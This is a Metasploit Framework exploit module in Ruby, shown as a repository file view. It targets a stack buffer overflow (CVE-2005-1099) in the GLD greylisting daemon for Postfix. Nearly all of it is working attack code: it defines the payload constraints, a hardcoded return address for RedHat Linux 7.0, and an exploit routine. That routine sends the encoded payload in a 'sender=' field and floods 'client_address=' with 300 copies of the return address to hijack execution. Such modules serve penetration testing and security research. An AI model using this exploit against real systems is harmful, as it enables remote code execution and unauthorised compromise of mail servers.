root / modules / exploits / linux / misc / gld_postfix.rb @ master
History | View | Annotate | Download (1.6 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
|
| 13 |
require 'msf/core'
|
| 14 |
|
| 15 |
|
| 16 |
class Metasploit3 < Msf::Exploit::Remote |
| 17 |
Rank = GoodRanking |
| 18 |
|
| 19 |
include Msf::Exploit::Remote::Tcp |
| 20 |
|
| 21 |
def initialize(info = {}) |
| 22 |
super(update_info(info,
|
| 23 |
'Name' => 'GLD (Greylisting Daemon) Postfix Buffer Overflow', |
| 24 |
'Description' => %q{ |
| 25 |
This module exploits a stack buffer overflow in the Salim Gasmi |
| 26 |
GLD <= 1.4 greylisting daemon for Postfix. By sending an |
| 27 |
overly long string the stack can be overwritten. |
| 28 |
},
|
| 29 |
'Version' => '$Revision$', |
| 30 |
'Author' => [ 'patrick' ], |
| 31 |
'Arch' => ARCH_X86, |
| 32 |
'Platform' => 'linux', |
| 33 |
'References' =>
|
| 34 |
[ |
| 35 |
[ 'CVE', '2005-1099' ], |
| 36 |
[ 'OSVDB', '15492' ], |
| 37 |
[ 'BID', '13129' ], |
| 38 |
[ 'URL', 'http://www.milw0rm.com/exploits/934' ], |
| 39 |
], |
| 40 |
'Privileged' => true, |
| 41 |
'License' => MSF_LICENSE, |
| 42 |
'Payload' =>
|
| 43 |
{
|
| 44 |
'Space' => 1000, |
| 45 |
'BadChars' => "\x00\x0a\x0d\x20=", |
| 46 |
'StackAdjustment' => -3500, |
| 47 |
}, |
| 48 |
'Targets' =>
|
| 49 |
[ |
| 50 |
[ 'RedHat Linux 7.0 (Guinness)', { 'Ret' => 0xbfffa5d8 } ], |
| 51 |
], |
| 52 |
'DefaultTarget' => 0, |
| 53 |
'DisclosureDate' => 'Apr 12 2005' |
| 54 |
)) |
| 55 |
|
| 56 |
register_options( |
| 57 |
[ |
| 58 |
Opt::RPORT(2525) |
| 59 |
], |
| 60 |
self.class
|
| 61 |
) |
| 62 |
end
|
| 63 |
|
| 64 |
def exploit |
| 65 |
connect |
| 66 |
|
| 67 |
sploit = "sender="+ payload.encoded + "\r\n" |
| 68 |
sploit << "client_address=" + [target['Ret']].pack('V') * 300 + "\r\n\r\n" |
| 69 |
|
| 70 |
sock.put(sploit) |
| 71 |
handler |
| 72 |
disconnect |
| 73 |
|
| 74 |
end
|
| 75 |
|
| 76 |
end
|